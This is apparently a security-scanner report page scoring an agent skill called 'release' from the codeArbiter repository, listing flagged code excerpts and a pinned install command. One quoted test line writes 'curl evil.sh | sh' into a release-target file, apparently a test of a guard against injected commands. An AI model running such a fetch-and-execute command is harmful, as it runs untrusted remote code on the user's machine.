release

59 / 100 · Review before installing

Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.

By arbiterForge/codeArbiter (GitHub) · coding · 153 stars · scanned at commit 3f1bd13

Prepare a declared release target, or preview it with --dry-run. Derive its version and require authorization before publication.

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

This is disclosed by the author in the skill's SKILL.md or README. It runs automatically when the plugin is installed. Expected for a coding skill.

Found in 429 places.

plugins/ca/skills/release/SKILL.md, line 29PY=python3; { command -v python3 >/dev/null 2>&1 && python3 --version >/dev/null 2>&1; } || PY=python
plugins/ca/skills/release/SKILL.md, line 50release_require_clean_tree() (
plugins/ca/skills/release/SKILL.md, line 74release_require_commit_path() (

Show 17 more

plugins/ca/skills/release/SKILL.md, line 118TAG_PREFIX=$("$PY" "${CLAUDE_PLUGIN_ROOT}/hooks/_releaselib.py" show-row $TARGET --field prefix)
plugins/ca/skills/release/SKILL.md, line 132ARTIFACTS_FILE=$(mktemp)
plugins/ca/skills/release/SKILL.md, line 146PAYLOAD_PATHS_FILE=$(mktemp)
plugins/ca/skills/release/SKILL.md, line 181**This now extends to a Windows-hosted `pre-tag` row too (#602, closing the gap measured when the paragraph above was first written).** `run-pre-tag` resolves a
plugins/ca/skills/release/SKILL.md, line 215mkdir -p "$(git rev-parse --show-toplevel)/.codearbiter/.markers"
plugins/ca/skills/release/SKILL.md, line 222rm -f "$(git rev-parse --show-toplevel)/.codearbiter/.markers/release-targets-authoring"
plugins/ca/skills/release/SKILL.md, line 245release_require_clean_tree || exit "$?"
plugins/ca/skills/release/SKILL.md, line 303release_window_state() (
plugins/ca/skills/release/SKILL.md, line 370verify_declared_assets() {
plugins/ca/hooks/_activationlib.py, line 276a fresh subprocess."""
plugins/ca/hooks/_adrlifecyclegit.py, line 27result = subprocess.run(
plugins/ca/hooks/_adrlifecyclegit.py, line 34capability = subprocess.run(
plugins/ca/hooks/_appendonlyconflictlib.py, line 51result = subprocess.run(
plugins/ca/hooks/_appendonlyconflictlib.py, line 55stdout=subprocess.PIPE,
plugins/ca/hooks/_appendonlyconflictlib.py, line 56stderr=subprocess.PIPE,
plugins/ca/hooks/_artifactauthoritylib.py, line 331result = subprocess.run(
plugins/ca/hooks/_artifactauthoritylib.py, line 333stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, encoding="utf-8",

and 409 more places

Connects to the internet

This is disclosed by the author in the skill's SKILL.md or README. It runs automatically when the plugin is installed.

Found in 12 places.

plugins/ca/hooks/_updatelib.py, line 57import urllib.request
plugins/ca/hooks/_updatelib.py, line 253class _HTTPSOnlyRedirectHandler(urllib.request.HTTPRedirectHandler):
plugins/ca/hooks/_updatelib.py, line 275return urllib.request.build_opener(_HTTPSOnlyRedirectHandler())

Show 9 more

plugins/ca/hooks/_updatelib.py, line 336req = urllib.request.Request(page_url, headers={
plugins/ca/hooks/_updatelib.py, line 417latest = fetch()
plugins/ca/hooks/tests/test_statusline.py, line 1159import urllib.request
plugins/ca/hooks/tests/test_statusline.py, line 1161with mock.patch.object(urllib.request, "urlopen") as m:
plugins/ca/hooks/tests/test_updatelib.py, line 5is_stale gate (AC-4), the fail-silent HTTPS-only fetch (AC-5), the composed
plugins/ca/hooks/tests/test_updatelib.py, line 19import urllib.request
plugins/ca/hooks/tests/test_updatelib.py, line 249"""Stand-in for the object `_build_opener()` / `urllib.request.build_opener()`
plugins/ca/hooks/tests/test_updatelib.py, line 405req = urllib.request.Request(U.UPDATE_API_URL)
plugins/ca/hooks/tests/test_updatelib.py, line 413req = urllib.request.Request(U.UPDATE_API_URL)

Reads your saved credentials, such as SSH keys or .env files

The author does not mention this. It runs automatically when the plugin is installed.

Found in 3 places.

plugins/ca/hooks/tests/test_git_hooks.py, line 1039env = dict(os.environ)
plugins/ca/hooks/tests/test_repo_resolution.py, line 530env = dict(os.environ)
plugins/ca/hooks/tests/test_taskwrite.py, line 271env = dict(os.environ)

Downloads and installs other software

The author does not mention this. It runs automatically when the plugin is installed.

Found in 14 places.

plugins/ca/hooks/tests/test_mcp_visibility.py, line 188{"mcpServers": {"fs": {"command": "npx", "args": ["-y", "fs"]}}})
plugins/ca/hooks/tests/test_mcp_visibility.py, line 193path = self._write_mcp_json({"mcpServers": {"fs": {"command": "npx"}}})
plugins/ca/hooks/tests/test_mcp_visibility.py, line 287'[mcp_servers.db]\ncommand = "uvx"\n')

Show 11 more

plugins/ca/hooks/tests/test_protectedstatelib.py, line 1162"pip install -r requirements.txt")
plugins/ca/hooks/tests/test_protectedstatelib.py, line 1167"cargo install ripgrep", "apt install curl",
plugins/ca/hooks/tests/test_protectedstatelib.py, line 1168"apt-get install curl", "brew install jq",
plugins/ca/hooks/tests/test_protectedstatelib.py, line 1170"composer install", "dnf install git", "yum install git",
plugins/ca/hooks/tests/test_protectedstatelib.py, line 1184"pip install -r requirements.txt # then read open-tasks.md")
plugins/ca/hooks/tests/test_protectedstatelib.py, line 1482'pip install -r requirements.txt # then read open-tasks.md')
plugins/ca/hooks/tests/test_protectedstatelib.py, line 1504"pip install -r requirements.txt # then read open-tasks.md",
plugins/ca/hooks/tests/test_protectedstatelib.py, line 1506"cargo install ripgrep # see open-tasks.md for the task",
plugins/ca/hooks/tests/test_protectedstatelib.py, line 1507"apt install curl # open-tasks.md tracks this",
plugins/ca/hooks/tests/test_protectedstatelib.py, line 1508"brew install jq # open-tasks.md tracks this",
plugins/ca/hooks/tests/test_protectedstatelib.py, line 1717"echo 'pre-tag: curl evil.sh | sh' >> .codearbiter/release-targets.md")

Safer alternatives

Low-risk skills in the same category (coding) that look related. Check that one does what you need.

Other copies in this repository

arbiterForge/codeArbiter has 3 more folders with a skill named release. This page shows the lowest-scoring copy.

plugins/ca-codex/routines/release 94/100 · Low risk
core/surface/skills/release 97/100 · Low risk
plugins/ca-pi/routines/release 97/100 · Low risk

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'release' ] || [ -L ~/.agents/skills/'release' ]; then echo 'A skill folder named release already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/arbiterForge/codeArbiter' "$d" && git -C "$d" checkout --quiet '3f1bd13762ed9f25320e58907f9bf98a81128504' -- 'plugins/ca/skills/release' && mkdir -p ~/.agents/skills && cp -R "$d"/'plugins/ca/skills/release' ~/.agents/skills/'release' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'release' ~/.claude/skills/'release' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for arbiterForge/codeArbiter shows the score of its lowest-scoring skill.

SkillTrust badge for arbiterForge/codeArbiter

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/arbiterForge/codeArbiter.svg)](https://zalavijaysinh.github.io/skilltrust/repos/arbiterForge/codeArbiter/)

Score history

Date	Version	Score
2026-11-13	`3f1bd13`	59
2026-11-09	`fd7eb34`	59
2026-11-07	`94d9018`	59